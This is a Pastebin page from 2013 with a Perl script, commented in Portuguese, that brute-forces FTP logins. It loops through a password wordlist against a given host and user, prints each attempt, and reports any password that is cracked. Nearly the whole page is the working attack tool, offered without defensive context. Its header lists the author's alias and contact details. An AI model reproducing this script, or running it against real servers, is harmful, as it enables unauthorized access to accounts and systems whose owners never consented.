t3ll0

ftp brute

Apr 1st, 2013
105
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. ########################################################################
  4. # FTP BruteForce - C0d3r: Nicholas Ferreira ( Nickguitar.dll ) #
  5. # #
  6. # Gre3tz: Hifterbuk, GuiChaguri, Brlo0ping, J0k3rTr4p, and Others #
  7. # #
  8. # Nickguitar.dll@hotmail.com | Skype : niickguitar #
  9. # #
  10. ########################################################################
  11. use Net::FTP;
  12.  
  13. my $host = $ARGV[0];
  14. my $usuario = $ARGV[1];
  15. my $wordlist = $ARGV[2];
  16.  
  17. system('cls'); #Troque por system('clear'); se voce está no linux !
  18.  
  19. if($#ARGV != 2){
  20. print "
  21. ##########################################################
  22. # FTP BruteForce v1.0 #
  23. # #
  24. # C0d3r: Nicholas Ferreira ( Nickguitar.dll ) #
  25. # #
  26. # Nickguitar.dll@hotmail.com | Skype: niickguitar #
  27. # #
  28. ##########################################################
  29.  
  30. Usage: brute.pl <host> <usuario> <wordlist>
  31. ";
  32. exit;
  33. }
  34.  
  35.  
  36.  
  37. print "
  38. ##########################################################
  39. # FTP BruteForce v1.0 #
  40. # #
  41. # C0d3r: Nicholas Ferreira ( Nickguitar.dll ) #
  42. # #
  43. # Nickguitar.dll@hotmail.com | Skype: niickguitar #
  44. # #
  45. ##########################################################
  46. ";
  47. print "[*]Atacando: $host\n[*] Usuario: $usuario\n\n";
  48.  
  49. open(a,"<$wordlist");
  50. @senhas = <a>;
  51. $b = scalar(@senhas);
  52. for($a>0;$a<$b;$a++){
  53.  
  54. $numero += 1;
  55. chomp($senha2 = $senhas[$a]);
  56. my $f = Net::FTP->new($host) or die "$!";
  57. if(!$f->login($usuario, $senha2)){
  58. print "[*] $host:21 - [$numero/$b] Testando... $senha2\n";
  59. $f->quit;
  60. } else {
  61. print "[*] $host:21 - [$numero/$b] Testando... $senha2\n";
  62. print "[+] Senha crackeada com sucesso !\n";
  63. print "[*] Login: $usuario Senha: $senha2\n\n";
  64. exit;
  65. }
  66.  
  67. }
  68. print "[-] Nenhuma senha encontrada :/\n";
  69. exit;
RAW Paste Data